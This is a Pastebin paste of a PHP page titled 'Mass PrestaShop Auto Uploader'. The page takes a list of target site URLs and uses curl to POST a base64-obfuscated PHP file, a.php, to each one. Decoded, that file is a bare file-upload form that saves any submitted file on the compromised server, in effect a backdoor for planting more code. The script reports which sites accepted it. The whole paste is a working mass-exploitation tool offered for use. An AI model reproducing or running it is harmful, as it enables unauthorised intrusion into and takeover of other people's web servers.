Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <title>Mass PrestaShop Auto Uploader</title>
- <link href='http://fonts.googleapis.com/css?family=Patrick+Hand' rel='stylesheet' type='text/css'>
- <style>
- body {color:white;font-family: Patrick Hand}
- .entryfield { background:black;color:white;border: 1px solid green; font-family: Patrick Hand;
- padding: 10px; height:200; width:400;
- }
- .subbtn {background:green;color:white;border: 1px solid #000; padding:6px 6px 6px 6px;}
- .subbtn:hover {background:#c0bfbf;color:#000000;}
- </style>
- <center>
- <body bgcolor=' #000 '>
- <?php
- //ustadcage_48
- $beby = explode("\r\n", $_POST['sites']);
- $crot = $_POST['kamu'];
- if($crot) {
- echo "<div style='text-align:left;font-family: Patrick Hand '>";
- echo "[ + ] Scanning....<br>";
- foreach($beby as $sites) {
- $nama = "a.php";
- $isi = "PD9waHAgCmlmKCRfUE9TVCl7CmlmKEBjb3B5KCRfRklMRVNbImYiXVsidG1wX25hbWUiXSwkX0ZJTEVTWyJmIl1bIm5hbWUiXSkpewplY2hvIjxiPmJlcmhhc2lsPC9iPi0tPiIuJF9GSUxFU1siZiJdWyJuYW1lIl07Cn1lbHNlewplY2hvIjxiPmdhZ2FsIjsKfQp9CmVsc2V7CgllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+PGlucHV0IHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IG5hbWU9diB0eXBlPXN1Ym1pdCBpZD12IHZhbHVlPXVwPjxicj4iOwp9Cgo/Pg==";
- $decode_isi = base64_decode($isi);
- $encode = base64_encode($nama);
- $fp = fopen($nama,"w");
- fputs($fp, $decode_isi);
- $uploadfile="{$nama}";
- $ch = curl_init("{$sites}");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile"));
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- if(preg_match('/success/', $postResult)) {
- echo " [ <font color='#FF0059'>P</font><font color='#FF3300'>R</font><font color='#FEA600'>E</font><font color='#CEFF00'>S</font><font color='#47FF00'>T</font><font color='#00FF57'>A</font><font color='#00FFDD'>S</font><font color='#009AFF'>H</font><font color='#0024FF'>O</font><font color='#6700FF'>P</font> ] <font color='yellow'>Sites</font> => $sites <i><font color=green>Successfully</font> File Name <font color='yellow'>$nama</font></i> <br> ";
- } else {
- echo "[ <font color='#FF0059'>P</font><font color='#FF3300'>R</font><font color='#FEA600'>E</font><font color='#CEFF00'>S</font><font color='#47FF00'>T</font><font color='#00FF57'>A</font><font color='#00FFDD'>S</font><font color='#009AFF'>H</font><font color='#0024FF'>O</font><font color='#6700FF'>P</font> ] <font color='yellow'>Sites</font> => $sites <i><font color=red>Failed</font> File Name <font color='yellow'>error</font></i> <br>";
- }
- }
- echo "[ + ] Finnish...<br></div>";
- } else {
- ?>
- <br>
- <br>
- <form method="post" action="" enctype="multipart/form-data">
- <textarea class="entryfield" name="sites" placeholder="http://ucage.beby"></textarea><br>
- <input class="subbtn" type="submit" style=" font-family: Patrick Hand " name="kamu" value="Crootzz">
- </form>
- </center>
- <?php
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement